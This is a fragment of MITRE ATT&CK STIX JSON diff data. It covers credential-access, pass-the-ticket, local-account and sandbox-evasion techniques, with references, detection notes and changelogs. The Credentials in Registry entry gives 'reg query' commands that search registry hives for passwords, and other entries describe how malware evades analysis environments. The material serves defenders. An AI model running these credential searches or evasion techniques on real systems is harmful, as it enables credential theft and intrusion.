"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:52:13.006000+00:00", + "modified": "2024-10-15 14:28:43.639000+00:00", + "name": "Credentials In Files", + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/001", + "external_id": "T1552.001" + }, + { + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/" + }, + { + "source_name": "Specter Ops - Cloud Credential Storage", + "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", + "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rory McCune, Aqua Security", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_system_requirements": [ + "Access to files" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 14:28:43.639000+00:00\", \"old_value\": \"2024-04-15 21:33:00.213000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1022: Restrict File and Directory Permissions", + "M1027: Password Policies", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:58:40.678000+00:00", + "modified": "2024-10-15 16:26:46.873000+00:00", + "name": "Credentials in Registry", + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/002", + "external_id": "T1552.002" + }, + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:26:46.873000+00:00\", \"old_value\": \"2023-07-28 18:29:56.525000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:03:43.072000+00:00", + "modified": "2024-09-12 15:21:09.330000+00:00", + "name": "Pass the Ticket", + "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/003", + "external_id": "T1550.003" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", + "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" + }, + { + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "Stealthbits Overpass-the-Hash", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ryan Becwar" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "Kerberos authentication enabled" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:21:09.330000+00:00\", \"old_value\": \"2023-03-30 21:01:38.108000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.\", \"old_value\": \"Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.\", \"new_path\": \"root['external_references'][3]['description']\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos\", \"old_value\": \"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos\", \"new_path\": \"root['external_references'][3]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:26:46.695000+00:00", + "modified": "2024-10-15 16:36:36.681000+00:00", + "name": "Local Accounts", + "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/003", + "external_id": "T1078.003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Logon Session: Logon Session Metadata", + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers", + "Network" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:36:36.681000+00:00\", \"old_value\": \"2023-07-14 13:04:04.591000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [ + "M1018: User Account Management", + "M1032: Multi-factor Authentication" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 22:22:24.505000+00:00", + "modified": "2024-09-12 15:50:18.049000+00:00", + "name": "Virtualization/Sandbox Evasion", + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497", + "external_id": "T1497" + }, + { + "source_name": "Unit 42 Pirpi July 2015", + "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Sunny Neo" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Process: OS API Execution" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:50:18.049000+00:00\", \"old_value\": \"2021-10-18 14:57:48.989000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.\", \"old_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit\", \"old_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"new_path\": \"root['external_references'][2]['url']\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 20:57:37.959000+00:00", + "modified": "2024-09-12 15:50:18.047000+00:00", + "name": "System Checks", + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/001", + "external_id": "T1497.001" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + }, + { + "source_name": "McAfee Virtual Jan 2017", + "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", + "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Kostya Vasilkov" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Signature-based detection", + "Host forensic analysis", + "Anti-virus" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:50:18.047000+00:00\", \"old_value\": \"2024-04-19 12:49:40.919000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.\", \"old_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit\", \"old_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 21:11:11.225000+00:00", + "modified": "2024-09-12 15:50:18.048000+00:00", + "name": "Time Based Evasion", + "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/003", + "external_id": "T1497.003" + }, + { + "source_name": "Joe Sec Nymaim", + "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.", + "url": "https://www.joesecurity.org/blog/3660886847485093803" + }, + { + "source_name": "Joe Sec Trickbot", + "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", + "url": "https://www.joesecurity.org/blog/498839998833561473" + }, + { + "source_name": "ISACA Malware Tricks", + "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.", + "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes" + }, + { + "source_name": "Revil Independence Day", + "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.", + "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/" + }, + { + "source_name": "Netskope Nitol", + "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.", + "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jorge Orchilles, SCYTHE", + "Ruben Dodge, @shotgunner101", + "Jeff Felling, Red Canary", + "Deloitte Threat Library Team" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Signature-based detection", + "Static File 